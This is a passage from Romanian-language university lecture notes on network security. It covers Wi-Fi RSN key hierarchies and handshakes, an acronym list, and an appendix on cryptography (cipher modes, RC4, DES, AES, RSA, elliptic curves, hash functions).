iar incercarile de repetitie sunt detectate implicit prin procedura de validare MIC.

Managementul RSN al cheilor


-defineste urmatoarele chei criptografice:
 chei de tip master (ex. PSK, PMK, GMK, MK, MSK, EMSK) utilizate pentru derivarea
cheilor temporare. Unde:
o PSK (sub forma parola-fraza), este pre-stabilita intre STA(s) si AP prin metode in
afara standardului (ex. manual, telefon, scrisoare, etc.). Utilizare sa este
recomandata in retele de dimensiune redusa SOHO;
o PMK, GMK stabilite intre STA si AP si PMK, MK/MSK, EMSK intre STA si
AS prin derivare si transport printr-un protocol de autentificare cu stabilire de chei;
 chei temporare: (ex. PTK, GTK) utilizate pentru protejarea traficului in planul de date.
Aceste chei sunt organizate intr-o ierarhie, fiind obtinute prin derivare dupa ce procedura
de autentificare si stabilire de chei a fost completata. Cheile temporare vor fi reactualizare
periodic si sunt intotdeauna distruse dupa terminarea asocierii de securitate

-RSN specifica doua tipuri de chei (master sau temporare):


- chei per pereche (en. pairwise key) (ex. PMK, PTK): utilizate pentru asigurarea serviciilor
de securitate pentru traficul unicast;
- cheia de grup (ex. GMK, GTK): utilizata pentru asigurarea serviciilor de securitate pentru
traficul in difuzare/multicast

78
-pt. stabilirea/reactualizarea cheilor temporare, standardul RSN utilizeaza procedurile: “4-Way
Handshake” si “Group Key Handshake”. Decizia de schimbare a cheilor poate fi determinata
de: expirarea unui temporizator 802.1x de reautentificare, compromiterea cheii sau de o decizie
politica;

Managementul de chei in modul ESS


-pp. pre-stabilirea cheii master pe termen lung, de tip parola/certificat: PSK, MK;
-la sfarsitul procedurii de autentificare STA-AS o cheie master de sesiune (ex. MSK, EMSK)
este stabilita si transferata (ex. PMK) de la AS la autentificator pe un canal securizat prestabilit
(ex. RADIUS);
-in modul WPA-PSK suplicantul si autentificatorul vor genera PMK din cheia PSK si vor
executa procedura “4-Way Handshake” pentru confirmarea stabilirii cheii PMK si generarea si
instalarea cheii PTK (se mai spune ca ierarhia PMK este instalata).
-de asemenea, este distribuita cheia GTK de la AP la STA. Ulterior, pentru reactualizarea cheii
GTK se aplica procedura “Group Key Handshake”;
-metode de indexare a cheilor PTK ale corespondentilor: la STA consta in <AA, ANonce>; iar,
la AP identificatorul <SPA, SNonce>. AA- Authenticator Addr, SPA-Supplicant Addr.

8.2.2.4. Ierarhia de chei per pereche (PKH)


-cheia PMK este radacina unei ierarhi de chei temporare obtinute local prin derivare;
-toate entitatile corespondente trebuie sa aiba definita aceasi metoda de derivare, pe care o vor
aplica independent, dar sincron;
-metoda de derivare garanteaza ca cei doi corespondenti vor obtine aceasi ierarhie;
-metoda de derivare a cheii PMK trebuie sa garanteze ca aceasta este diferita per pereche, ceea
ce garanteaza ca cheile temporare per pereche sunt unice;
-PMK nu va fi utilizata in alt scop; in caz contrar creste riscul sa fie compromisa;

-primitive utilizate pentru derivarea PKH si GKH:


L(Str, F, L) := functia de extragere a sirului de biti de la rang F la rang
F+L-1 din sirul Str, numarand de la stanga;
PRF-n := functie pseudo-aleatoare cu valoarea iesirii pe n biti

PMK

PRF()

PTK

KCK KEK TK

Figure 5-20: Ierarhia de chei PKH

79
-de fapt, functia PRF() va genera un set de patru chei: 2 pt. securizarea mesajelor EAPOL-Key
(KCK si KEK); si 2 pt. securizarea datelor utilizator transferate in unicast (parte a cheii TK).
Acest set de chei temporare formeaza cheia PTK (vezi fig.);
-date de intrare PRF(): ANonce, SNonce pt. a garanta unicitatea cheilor temporare intre sesiuni;
adresele MAC ale corespondentilor pt. a leaga criptografic PTK de identitatea celor doua
entitati;

PMK
Data Encr. Key (128biti)
ANonce
SNonce Blocul de Data MIC Key (128 biti)
calcul
EAPOL Encr. Key (128 biti)
MAC AA PTK
EAPOL MIC Key (128 biti)
MAC SPA

Legend:
- SNonce – nr pseudo-aleator generat de suplicant;
- ANonce – nr. psudeo-aleator generat de autentificator;
- AA – adresa MAC a autentificatorului;
- SPA – adresa MAC a suplicantului

Figure 5-21: Generarea setului de chei temporare (PTK)

Relatia de dependenta a PTK de intrarea functiei PRF() ar putea fi exprimata si astfel:


PTK = PRF (PMK, “Pairwise key expansion”, Min(AA, SPA)||Max(AA, SPA)||
Min(Anonce, SNonce)||Max(Anonce,SNonce))
Cheia KCK este utilizata pentru a realiza autentificarea originii in procedura “4-Way
Handshake” si “Group Key Handshake”:
KCK = L(PTK, 0, 128)
Cheia KEK este utilizata pentru a garanta confidentialitatea mesajelor in procedura “4-Way
Handshake” si “Group Key Handshake”:
KEK = L(PTK, 128, 128)
Cheia TK este utilizata pentru a realiza serviciile pentru garantarea integritatii si
confidentialitatii datelor utilizator:
TK = L(PTK, 256, 128 sau 256)
Identificatorul unui PMK este calculat astfel:
PMK_ID = HMAC-SHA1-128(PMK, “PMK Name”||AA||SPA)

Procedura descrisa mai sus, poate fi aplicata indiferent de algoritmul de cifrare utilizat: AES-
CCMP sau TKIP. In cazul AES-CCMP, pentru ca functiile de integritate si pentru
confidentialitate sunt integrate, din setul PTK se folosesc trei chei: TK (i.e. Data Encr./Data
MIC (256 biti)), KEK (i.e. EAPOL Encr) si KCK (i.e. EAPOL MIC).

8.2.2.5. Ierarhia de chei de grup (GKH)


-in modul ESS, numai AP poate transfera date prin difuzare catre STAuri;

Procedura pentru generarea si stabilirea cheii temporare GTK:


 entitatea autentificator genereaza aleator cheia radacina GMK (256 biti);
 entitatea autentificator deriveaza GMK (256 biti) utilizand PRF(), pentru a obtine cheia
temporara GTK;
 dupa stabilirea canalului de securitate unicast (bazat pe PTK), autentificatorul transfera
cu confirmare cheia GTK catre fiecare entitate suplicant cu care s-a autentificat

80
-distribuirea cheii GTK este inclusa in procedurile “4-Way Handshake” (la stabilire) si “Group
Key Handshake” (la reactualizare);
-cheia GTK reprezinta de fapt un set de doua chei temporare: Group Encryption Key (GEK;
128 biti); Group Integrity Key (GCK; 64 biti);

GMK

PRF()

GTK

TK

Figure 5-22: Ierarhia de chei GKH

Relatia de dependenta a GTK de intrarea functiei PRF() ar putea fi exprimata si astfel:


GTK = PRF(GMK, “Group key expansion”||AA||GNonce)
Unde: GNonce, este o valoare pseudo-aleatoare generata de autentificator.
TK = L(GTK, 0, 40)

Obs: datele de intrare ale PRF(): nonce si adresa MAC a entitatii autentificator;

-procedura de mai sus mai poate fi invocata din urmatoarele motive: expirare durata de viata
a GMK/GTK; cand un suplicant se deasociaza; eveniment critic de management al STA;

-o problema este gasirea unui mijloc prin care sa se poata evita intreruperea serviciului de retea
pe toata durata acestui proces. Solutia aplicata este analoaga celei utilizate in cadrul tehnologiei
WEP: noua cheie GMKn va fi activa simultant cu cheia veche GMKo , pe entitatea
autentificator.

Procedura descrisa mai sus se aplica indiferent de algoritmul de cifrare utilizat: AES-CCMP
sau TKIP. In cazul AES-CCMP pentru ca functia de integritate si cea pentru criptare sunt
integrate, din setul GTK se foloseste numai o singura cheie TK (i.e. Group Encr./Integrity key).

8.2.2.6. Protocolul “Group Key Handshake”


-obiectiv: reactualizarea cheii de grup GTK, este aplicata cu fiecare entitate suplicant separat;
-in general, este inititata de autentificator, dar poate fi initiata si de catre suplicant printr-un
mesaj de tip cerere;
-utilizeaza canalul de securitate (cu garantarea confidentialitatii si integritatii) stabilit pentru
cheia PTK;
-utilizeaza cheile KEK si KCK, derivate in procedura “4-Way Handshake”;

81
Procedura GKH se desfasoara in urmatorii pasi:
- autentificatorul genereaza o noua cheie GTK, o cripteaza impreuna cu identificatorul cheii,
utilizand cheia KEK si un IV, apoi o transfera in mesajul (1) impreuna cu un numar de
secventa; MIC este calculat peste corpul cadrului EAPOL-Key utilizand cheia KCK;
- la receptia mesajului (1), suplicantul verifica: valoarea “Key Replay Counter” nu este
repetata, ca MIC este valid utilizand cheia KCK. Apoi, decripteaza GTK cu cheia KEK si
instaleaza GTK la subnivelul 802.11 MAC, si incrementeaza valoarea contorului anti-
repetitie “Key Replay Counter”;
- in continuare, suplicantul raspunde catre autentificator cu o confirmare (mesajul 2)
securizata cu cheia KCK;
- la receptia mesajului (2), autentificatorul verifica valoarea contorului “Key Replay
Counter” si daca MIC este valid utilizand cheia KCK, si apoi instaleaza cheia GTK. Daca
autentificatorul nu primeste un raspuns la mesajul (1), atunci va retransmite; daca toate
tentativele de retransmisie esueaza, atunci autentificatorul deautentifica acel suplicant

Supplicant Authenticator

Generate GTK
Encrypt GTK
with PTK
Message 1: EAPOL-Key (Encrypted GTK, Group, MIC)

Install GTK
Message 2: EAPOL-Key (Group, MIC)

Figure 5-23: Procedura GKH pentru reactualizarea cheilor GTK

6.Bibliografie & Referinte Web(Incompleta)


[RFC4949] R.Shirey, “Internet Security Glossary, Version 2”, IETF, RFC4949,
www.ietf.org/rfc/rfc4949.txt, August 2007
[WS08] W.Stallings, L. Brown, “Computer Security. Principles and Practice”, Ed. Prentice Hall, ISBN
0-13-600424-5, 2008
[MO96] A. Menezes, P. van Oorschot, S.Vanstone, “Handbook of Applied Cryptography”, Ed. CRC
Press, 1996, ISBN -08493-8523-7
[MD04] J.Mirkovic, S.Dietrich, D.Dittrich, P.Reiher, “Internet Denial of Service: Attack and Defense
Mechanisms”, Ed. Prentice Hall, ISBN 0-13-147573-8, Dec. 2004
[PM02] Phrack Magazine, http://phrack.org/issues/60/10.html, No. #60, 2002 (citit Octombrie 2015)
[IBM] Pagina web a IBM: http://www.ibm.com/developerworks/wireless/library/wi-diameter (citit in
Decembrie 2015)
[X800] Rezumat al standardului X.800, “Servicii de Securitate OSI”, http://discipline.elcom.pub.ro/
srs/crs.htm
[DNSSec] RFC 3833, 4470, 4471, RFC4033, 4034, 4035(examples), RFC2535, RFC3225,RFC6781
[DSC] https://www.cloudflare.com/dns/dnssec/how-dnssec-works/
[DNSVIZ] Simulator DNSSEC, http://dnsviz.net

82
7. Acronime
AAA Authentication, Authorization and Accountability
ABAC Attribute-based Access Control
AEAD Authenticated Encryption with Associated Data
ASLR Address Space Layout Randomization
ASM Application Specific Module
AuC Authentication Center
ACL Access Control List
AES Advanced Encryption Standard
AH Authentication Header
ALV Attribute-Length-Value
AP Access Point
AS (1)Autonomous System; (2)Authentication Server
AVP Attribute-Value-Pair
BCP Best Current Practice
CA Certification Authority
CCM Counter with CBC-MAC
CMS Cryptographic Message Syntax
CPA Choosen Plaintext Attack
CRC Cyclic Redundancy Check
DAC Discretionary Access Control
Diameter = 2 × RADIUS
DoS Denial of Service
DCC Distributed Checksum Clearinghouse
DCF Distributed Checksum Filtering
DDoS Distributed DoS
DEP Data Execution Prevention
DNSSec DNS Security
DS Delegation Signer
EAP Extensible Authentication Protocol
EMSK Extended MSK
ESP Encapsulation Security Payload
ESS Extended Service Set
GKH Group Key Hierarchy
GMK Group Master Key
GSM Global System for Mobile communication
GTK Group Transient Key
HDR Header
HLR Home Locator Register
IBSS Independent Basic Service Set
ICV Integrity Check Value
IDS Intrusion Detection System
IKE Internet Key Exchange
IMSI International MS Identity
IPS Intrusion Prevention System
IPSec IP Security
IV Initialisation Vector
KCK Key Confirmation Key
KE Key Exchange
KEK Key Encryption Key
KSK Key Signing Key

83
MAC Message Authentication Code; Mandatory Access Control
MCC Mobile Country Code
MDC Modification Detection Code
MIC Message Integrity Code
MIME Multipurpose Internet Mail Extensions
ME Mobile Equipment
MITM (1)Man-In-The-Middle; (2)Meet-In-The-Middle
MK Master Key
MNC Mobile Network Code
MS Mobile Station
MSIN Mobile Subscriber Identity Number
MSK Master Session Key
NAS Network Access Server
NSEC Next SECure
PEM Privacy Enhanced Mail
PGP Pretty Good Privacy
PKH Pairwise Key Hierarchy
PMK Pairwise Master Key
PN Packet Number
PRF Pseudo-Random Function
PRNG Pseudo-Random Number Generator
PSK Pre-Shared Key
PTK Pairwise Transient Key
RADIUS Remote Authentication Dial-In User Service
RBAC Role-based Access Control
ROP Return-Oriented Programming
RSK Root Signing Key
RSN Robust Secure Network
RSNA RSN Association
RSN IE RSN Information Element
SA Security Association
SAD SA Database
SIM Subscriber Identification Module
SMIB Security Management Information Base
SPD Security Policies Database
SPI Security Parameter Index
SSL Secure Session Layer
SSO Single Sign-On
STA STAtion
TK Transient Key
TKIP Temporal Key Integrity Protocol
TLD Top Level Domain
TLS Transport Layer Security
TMSI Temporar MS Identifier
TS Traffic Selector
TSC TKIP Sequence Counter
TTP Trusted Third Party
VLR Visitor Locator Register
VPN Virtual Private Network
WEP Wired Equivalent Privacy
WPA WiFi Protected Access

84
XACML eXtensible Access Control Markup Language
ZSK Zone Signing Key

85
Anexa A: Elemente de criptografie. Protocoale criptografice
Def: criptografia := studiaza metodele de transformare a textului-clar (P) in text-cifrat (C)
cu proprietatea de a fi neinteligibil unor utilizatori neautorizati sau pentru a asigura detectarea
modificarii textului-clar sau pentru a preveni utilizarea neautorizata.
Daca transformarea este reversibila, este studiat si modul in care textul-clar este refacut din
textul-cifrat.

Def: criptanaliza este un domeniu al matematicii care se ocupa cu analiza sistemelor


criptografice cu scopul de a compromite obiectivele lor de securitate (determinarea textului-
clar P si/sau a cheii de criptare K pe baza cunoasterii partiale/totale a textului-cifrat C. De
regula se mai cunoaste: algoritmul de criptare, si chiar informatii partiale despre caracteristicile
textului-clar P.

Nota: criptologia := criptografie + criptanaliza;

Arhitectura generala a unui sistem criptografic cu chei


Este un sistem care ofera servicii criptografice aplicand algoritmi criptografici cu scopul de a
asigura securitatea textului-clar P (ex. autenticitatea, integritatea, confidentialitatea sau
nerepudierea mesajului).
T
canal de stabilire cheie cu Generare canal de stabilire cheie cu
prop. autenticitate [si chei prop. autenticitate [si
confidentialitate] confidentialitate]
e d
canal de comunicatie
P (nesecurizat) P
Ee (p) Dd (c)
C
A B
~P
Criptanaliza ~ e/d

Unde : T = {A, B, TTP};


Sistem criptografic (criptosistem) cu chei

Proprietati generale (~Francis Bacon, sec XVII) :

 Ee(.) – o aplicatie a transformatei de criptare este usor de calculat (rapid);


 Dd(.) – o aplicatie a transformatei de decriptare este usor de calculat;
 este imposibil(dificil) de calculat P din C fara cunoasterea lui Dd(.) ;
 nu exista o relatie statistica evidenta intre P si C ;

Criterii pentru clasificarea criptosistemelor


 numarul de chei de criptare:
o simetric: daca sursa si destinatia utilizeaza aceasi cheie, criptosistemul se numeste: simetric,
cu cheie unica, conventional sau cu cheie privata. In acest caz, E  D, e = d = K ;

86
o asimetric: daca sursa si destinatia utilizeaza chei diferite, criptosistemul se numeste: asimetric,
cu doua chei, sau cu cheie publica. In acest caz, E ≠ D, e ≠ d, si e = cheia publica, d = cheia
privata;

 modul de procesare al textului-clar:


o cifru bloc: algoritmul de criptare transforma (independent) la fiecare pas un bloc de elemente
de intrare intr-un bloc de elemente de iesire;
o cifru sir: algoritmul de criptare transforma (dependent stare) in mod continuu, la fiecare pas,
un caracter de intrare intr-un caracter de iesire

Servicii oferite de un sistem criptografic


- confidentialitatea datelor transferate de la entitatea A la B :
 c. simetric : A cripteaza datele cu K si B decripteaza cu aceasi cheie K ;
 c. asimetric : A cripteaza datele cu cheia publica e a lui B si B decripteaza cu cheia privata
asociata d ;
- autentificarea/integritatea datelor:
 c. simetric: numai intre A si B; A calculeaza o valoare de autentificare cu K si B verifica cu
aceasi cheie K ;
 c. asimetric: intre A si oricare alta entitate B care cunoaste cheia publica e a lui A ; A calculeaza
o valoare de autentificare cu cheia sa privata d si B verifica cu cheia publica asociata e;
- nerepudierea transmisiei/receptiei intre A si B :
 c. simetric : nu este posibila !
 c. asimetric: analog autentificarii datelor, cu particularitatea ca la valoarea de autentificare sunt
legate criptografic un set de atribute de context (ex. stampila de timp)

Moduri de operare[FIPS-81, 74], [SP800-38a]


Fie mesajul de lungime arbitrara:
M = P1 || P2 || ... || PN

- padare M daca nu este un numar intreg de blocuri; padarea trebuie sa fie reversibila;
- in general, lungimea blocului Pi este determinata de algoritmul de criptare

Tema: propuneti o metoda de padare reversibila.

Modul ECB (Electronic Code Book)


Pi Ci Pi
E D
Modul ECB
- fiecare bloc cifrat independent; Ci = E(K, Pi), i = 1..N;
- nu propaga erorile de decriptare;
- reordonarea textului-cifrat produce aceasi reordonarea a textului clar; permite acces
aleator la datele criptate; => practic nu este recomandata folosirea ECB.
- pot fi utilizate tehnici criptografice simetrice/asimetrice pt. transformatele E, D

Modul CBC (Cipher Block Chaining)

87
Ci-1 Ci-1
Reg. Reg.

Pi Ci Pi
E D

Modul CBC
- propaga eroarea de decriptare numai catre blocul urmator;
- Ci = E(K, Pi ⊕ Ci-1), i = 1..N, C0 = IV5; IV – nu este necesar sa fie secret, se recomanda sa
fie aleator sau generat IV=E(K, nonce). De ce ? (Indicatie: vezi prob. ECB a primului bloc de
text-cifrat); in general, integritatea sa trebuie garantata pe durata transferului;
- valoarea IV(impredictibila): aleatoare, criptarea cu cheia pre-partajata a unui nonce asociat
textului-clar P;
- atunci cand IV este aleator sau criptat, determina cresterea mesajelor in format text-cifrat cu
un bloc;
- nu este adecvat aplicatiilor cu acces aleator la datele criptate; De ce ?
- pot fi utilizate tehnici criptografice simetrice/asimetrice pt. transformatele E, D

Modul CFB (Cipher Feedback Block)


- cifreaza blocuri de lungime r < n;
r-bit shift
Reg.
Reg.
n
K K
E r
E

r-bit msb r-bit msb


Pi Ci Pi
r r
Modul r-bit CFB
- propaga erorile de decriptare pe n/r blocuri text-cifrat;
- nu permite reordonarea blocurilor de text-cifrat;
- productivitate mai mica fata de ECB; redusa cu factorul n/r
- nu pot fi utilizate tehnici criptografice asimetrice pt. blocul E;

Modul OFB (Output Feedback Block)

5
en. Initialization Vector

88
Ki-1

Reg. Reg.
n
K n E K
E

r-bit msb r-bit msb


Pi Ci Pi
r r
Modul OFB
- in esenta un cifru sir pe digiti de r biti; Ki = E(K, Ki-1), Ci = Pi ⊕ trunc(Ki) , i = 1..N, K0 =
IV;
- structura identica la criptare si la decriptare;
- elimina complet propagarea erorilor de decriptare intre blocuri; nu recupereaza in cazul
in care se pierd/insera biti;
- ca si CFB permite cifrarea blocurilor de lungime variabila; elimina necesitatea padarii;
- cheia de lucru este independenta textul-clar => precalculata;
- este vulnerabila la reutilizarea IV chiar cu mesaje diferite;
- vulnerabilitate: genereaza cicluri ale cheii de lucru daca valoarea K i-1 din Reg se repeta;
- productivitatea scade cu n/r;

Modul CTR (CounTeR mode)

nonce Contor nonce Contor

K K
E E

Pi Ci Pi

Modul CTR

- in esenta este un cifru stream; Ki = E(K, nonce||cnt++), Ci = Pi ⊕ Ki , i = 1..N;


- componenta Contor poate fi initializata cu orice valoare prestabilita;
- permite acces arbitrar direct; permite calcul paralel si pre-calcul;
- nu necesita paddare;
- suporta tehnici de criptare simetrice sau asimetrice;
- este vulnerabil la reutilizarea combinatiilor (K, nonce) => robustete redusa (fata de CBC)
cu pierdere de info despre textul-clar;

N.b. sunt recomandate modurile: CTR si CBC;

Cifrul cascada
Daca un algoritm de criptare poate fi compromis prin atac de tip forta-bruta (prin cautare
exhaustiva a cheii), se poate inca construi un cifru tare (computational) prin aplicarea iterata a
acestui algoritm (ex. 3DES).

89
Def: un cifru cascada este o concatenare a L ≥ 2 cifruri fiecare cu cheie proprie independenta.
Cifrurile pot fi, sau nu, identice.
Def: criptarea multipla este o cascada de L cifruri identice (pot fi E si/sau D), in care cheile
etajelor nu este necesar sa fie independente.

Exista doua variante mai uzuale de criptare multipla:


a) criptarea dubla:
E(P) = EK2 (EK1(P))

b) criptare tripla:
E(P) = EK3(EK2(EK1(P)))
Unde: E – poate semnifica o transformata de criptare/decriptare;

-de ex: E(P) = EK3(DK2(EK1(P))) se numeste criptarea tripla E-D-E. Daca K3 = K1 atunci se
numeste criptare tripla cu doua chei.

K1 K2
a) Criptare dubla
P C1 C2(=C)
E E

K1 K2 K3

P C1 C2 C3(=C) b) Criptare tripla


E E E
E-E-E

- pentru a reduce costul managementului cheilor (procesare/memorare) se vor utiliza chei


dependente;

Cifrul sir
Def: este cifrul care cripteaza la un moment de timp un singur caracter (ex. bit, digit, etc) al
textului clar, cu ajutorul unei transformari6 care este variabila in timp.

Nota: cifrul bloc cripteaza blocuri de caractere simultan, utilizand o transformata invariabila
in timp.

Avantaje (in comparatie cu cifrul bloc)


- complexitate redusa, pot fi implementate HW; productivitate mai mare;
- adecvate pentru aplicatii cu capacitate de memorare redusa sau care necesita procesarea
imediata a textului clar;
- propagare redusa/inexistenta a erorilor de bit fiind recomandate pentru medii de
comunicatii cu rata de erori mare (robuste);
- au memorie, motiv pentru care se mai numesc cifruri cu stare (cifrul bloc este fara memorie,
aceasi transformata se aplica pe blocuri succesive; adaugand memorie la un cifru bloc se poate
obtine un cifru sir care lucreaza cu caractere “bloc”; de ex. modul CBC);

6
functie de criptare

90
- transformata de criptare variaza pe masura ce textul clar este procesat; astfel, criptarea
depinde de: textul-clar, de cheia de criptare si de starea curenta.

mi ci

K zi ci K zi mi
g h g h-1

Criptare Decriptare

Schema de principiu a cifrului sir autosincron

Algoritmul RC4
-1987, Ron Rivest; de 10 ori mai rapid ca DES;
-licenta RSADSI pentru aplicatii comerciale;
-utilizat de protocoalele de securitate: WEP, SSL;
-pot utiliza chei de lungime diferita;
-opereaza in modul OFB;
-implementare software;

Initializarea S-box[8][8]=S0, S1, ..., S255 cu o permutare de numere 0..255 determinata in functie de cheia K[],
astfel:
for i = 0 to 255 S[i] = i
for i = 0 to 255 K[i] = K[i mod k]; //k – lungimea cheii
j = 0;
for i = 0 to 255:
j = (j + S[i] + K[i]) mod 256; //asigura prop. de neliniaritate a S-box
swap S[i] and S[j];

Generarea cheii de lucru (independent de textul-clar):


i = 0; j = 0
while(i < len(P)){
i = (i + 1) mod 256
j = (j +S[i]) mod 256
swap S[i] and S[j]
t = (S[i] + S[j]) mod 256
Ki[i] = S[t]
}
Criptare
Ki[i] XOR Pi[i]

Cifrul bloc determinist


Def: un cifru bloc de n-biti este o functie E:Vn × K → Vn astfel incat, pentru orice K Є K,
E(P, K) este o corespondenta inversabila de la Vn la Vn, notata si EK(P). Corespondenta
(transformata) inversa reprezinta functia de decriptare, notata DK(C). C = EK(P) arata ca textul
cifrat C se poate obtine din textul clar P si cheia K cu ajutorul functiei de criptare E.

Nota: functia de criptare este bijectiva (deci, inversabila) parametrizata de cheia K de lungime
k-biti, selectata aleator din spatiul K (un subset al multimii tuturor vectorilor Vk)

91
Def: un cifru ofera o securitate perfecta (neconditionata) daca blocurile de text-cifrat
respectiv de text-clar sunt statistic independente.

Def: un cifru bloc este sigur computational daca dimensiunea cheii si dimensiunea blocurilor
de intrare sunt suficient de mari pentru a elimina toate atacurile prin cautare; adica, nu exista
nici un atac (cunoscut) care sa necesite un numar de blocuri de intrare semnificativ mai mic
decat 2n si o complexitate de procesare semnificativ mai mica decat 2 k.
Cifruri clasice =primitive criptografice
- descoperite inainte de a 2-a jumatate a secolului XX;
- majoritatea cifrurilor reprezinta variante de substitutie si/sau transpozitie simpla

Cifrul cu transpozitie
Def: un cifru cu transpozitie simplu de perioada t grupeaza textul-clar de caractere in blocuri
de cate t, si aplica o singura permutare e definita peste numerele (1,..., t) fiecarui bloc.

Fie un bloc de t caractere de text-clar: m = p1 || p2 || ... || pt Atunci,


c = Ee (m) = pe(1) || ... || pe(t)
Unde e = cheia de criptare. Spatiul cheii este t! (numarul de permutari). Cheia pentru decriptare
este d = e-1 (permutarea inversa a lui e)

NOTA: transpozitie ↔ permutare

Cifrul cu substitutie
i. Substitutia mono-alfabetica
- este presupus acelasi set de caractere pentru textul-clar si pentru textul-cifrat;
Fie m = p1 || p2 || ... || pt un mesaj text-clar cu pi ∈ A (alfabet); A = {A, B, ..., a, ..., z}

Def: un cifru cu substitutie mono-alfabetica simpla utilizeaza permutarea e peste A, ca


functie de criptare, astfel:
Ee(m) = e(p1) || e(p2) || ...
Unde e(pi) este caracterul cu care este substituit pi prin permutarea e.

Ex: cifrul Cezar (cifrul de deplasare7), este un cifru cu substitutie simpla cu permutarea e
constand intr-o deplasare peste alfabet cu k caractere, pentru k-fixat.
Daca: s = |A | si ci, pi ∈ A ; i- indexul in vectorul literelor A =>
ci = e (pi) = A[(i + k) mod s];
d(ci ) = A[(i - k) mod s]

Algoritmul DES (Data Encryption Standard)


- primul algoritm pentru aplicatii comerciale (1977); cu specificatii publice pentru
implementare [FIPS 46];
- concepte utilizate: cifrul/structura Feistel;

7
en. shift cipher

92
Def: este un cifru Feistel care proceseaza blocuri de text-clar n=64 biti si produce blocuri de
text-cifrat pe n=64 biti. Lungimea efectiva a cheii K este k = 56 biti, dar cheia de intrare K este
specificata pe 64 de biti, din care 8 biti (8, 16, ..., 64) pot fi utilizati ca biti de paritate. Procesul
de criptare/decriptare se desfasoara in 16 runde. Pentru decriptare se vor utiliza cheile de runda
in ordine inversa.

Obs: DES implementeaza 256 permutari din cele 264 posibile !


- 2 metode de criptanaliza: metoda liniara, metode diferentiala; totusi DES a devenit cu
timpul vulnerabil la atacuri prin forta-bruta.

Algoritmul AES (Advanced Encryption Standard, 2000) [FIPS 197]


- lungime bloc de intrare este de 128b, lungimea cheii variabila: 128, 192 sau 256 biti;
varianta originala Rijndael (Joan Daemen + Vincent Rijmen) putea opera in orice
combinatie a lungimilor bloc de date - lungime cheie; cheia/blocul de date poate fi extins
usor la un multiplu de 32 de biti;
- a fost proiectat pentru o implementare HW eficienta;
- are la baza o structura substitutie-permutare (SP); nu Feistel;
- efectueaza operatii cu polinoame in campul finit Rijndael; unitatea de baza de procesare
este octetul;
- numarul de runde depinde de lungimea cheii; ex. pt. |K|=128b => 10 runde.
P 128

128/192/256/…
AES

128
C

Algoritmi asimetrici
Def: criptosistemele asimetrice (a.k.a. cu cheie publica) definesc pentru fiecare entitate o
pereche de chei (PK, PV) cu PK = cheia publica, PV = cheia privata, si respectiv o transformata
de criptare EPK si o transformata de decriptare asociata DPV.

Caracteristici generale ale algoritmului asimetric


- pentru a evita atacurile de tip impersonare (ex. “Man-In-The-Middle”), autenticitatea cheii
publice (datele asociate acesteia) trebuie sa fie verificata; este o garantie ca cheia privata
asociata este cunoscuta de entitatea legitima;
Avantaj: autentificarea cheilor publice este mai usoara decat garantarea confidentialitatii si
integritatii cheilor simetrice;
- pentru ca transformata Ee este cunoscuta public, nu este potrivita pentru a oferi servicii de
autentificare sau integritate a datelor => sunt posibile atacurile criptografice de tip text-clar-
ales;
- cifrul asimetric este mai lent decat cifrul simetric (aprox. 1000 de ori);
- aplicatii: criptare unitati de date de dimensiune redusa (PIN, numar card de credit, valoare
hash), transportul cheilor secrete, autentificare entitati, protocoale criptografice, sisteme de
semnatura digitala;
93
- principiul de implementare: functia cu trapa;
- taria algoritmilor se reduce la complexitatea rezolvarii unor probleme NP: descompunerea in
factori, problema rucsacului, calculul logaritmului discret, etc.

Algoritmul RSA (Rivest, Shamir, Adleman, 1977) [PKCS#1]


- se bazeaza pe problema descompunerii in factori a numerelor intregi mari;
- Ø(n) := functia totient a lui Euler;

1. Generarea perechii de chei


a) genereaza aleator doua numere prime mari p si q;
b) n = p*q si Ø(n) = (p-1)*(q-1)
c) alege aleator un intreg e, astfel incat 1 < e < Ø si c.m.m.d.c (e, Ø) = 1;
d) calculeaza d (alg. Euclid extins) cu 1 < d < Ø, astfel incat e*d ≡ 1 (mod Ø)
e) (n, e) – cheia publica; (n, d) – cheia privata

Obs: e = exponentul criptarii; d = exponentul decriptarii, n = modulul

2. Criptarea lui m
a) se obtine cheia publica (n, e);
b) se reprezinta m ca un intreg in intervalul [0, n-1];
c) C = me mod n;
d) transmite pe C la destinatie;
3. Decriptarea lui c
a) m = cd mod n;

Taria RSA: este definita de problema recuperarii textului-clar m din c numai pe baza (n, e), care
este echivalenta computational cu problema descompunerii in factori a lui n.

Recomandari (practice) asupra parametrilor RSA


- |n| > 768 biti (1024 pe termen lung);
- |p| = |q|
- (p-q) nu trebuie sa fie prea mica, ptr ca p ≈ q => 𝑝 ≈ √𝑛;
- un exponent de criptare e cu putini biti in 1 poate asigura o criptare rapida;
- un e – mare ofera rezistenta la atac prin alg. Gauss (e putin probabil ca m sa fie transmis la un
numar mare de destinatii)

Algoritmi criptografici pe curbe eliptice


- ideea (1985): folosirea grupului punctelor de pe o curba eliptica in locul grupului Z n* din
sistemele criptografice existente;
- alg. crypto pot fi redefiniti in grupul punctelor de pe o curba eliptica: ElGamal, Schnnor,
Nyberg-Rueppel, DSA, etc.
- avantajele utilizarii curbelor eliptice:
 necesita resurse de procesare mai reduse (aplicabile pe smart card, echipamente mobile); =>
spatiu redus pe circuitul integrat;
 ideal pentru implementare HW;
 viteza de calcul ridicata (productivitate);
 necesita latime de banda redusa;

94
 taria criptografica este mult mai mare decat a oricarui alt sistem de criptare(1998), pentru
aceasi lungime a cheii de criptare;
Dim. cheie Dim. Cheie MIPS-ani
CE RSA
160 1024 1012
600 21000 1078
1200 120 000 10 168

- o curba eliptica poate fi definita peste orice camp (R, Q, C); de regula, cele folosite in
criptografie sunt definite peste campuri finite.

Def: o curba eliptica E consta din elemente (numite puncte) de tipul (x, y) ce satisfac ecuatia:
y2 mod p = x3+ax+b mod p; Unde a,b = ct. Є Zp , p-prim, astfel incat 4a3+27b2 ≠ 0 (mod p);
impreuna cu un element singular, notat O si numit “punctul de la infinit”.

P3

P1 P2

-P3

Exemplu de EC in forma scurta Weierstrasse peste ℝ

Functii hash
-scop general: rezultatul functiei hash poate servi ca o imagine reprezentativa, compacta, a
mesajului de intrare; din acest motiv rezultatul functiei se mai numeste amprenta digitala,
imprint sau rezumatul mesajului.
- alternativ, rezultatul functiei hash se mai numeste: cod hash, rezultat hash, valoare hash
sau simplu hash.

Def: in acceptiunea generala, o functie hash este o functie h care are, cel putin
urmatoarele proprietati:
1. compresie – h mapeaza intrarea x de lungime arbitrara in iesirea h(x) de lungime fixa;
2. usor de calculat – pentru h, x fiind date, h(x) este usor de obtinut

Def: MAC(Message Authentication Code) este o familie de functii hk de parametru k (cheia
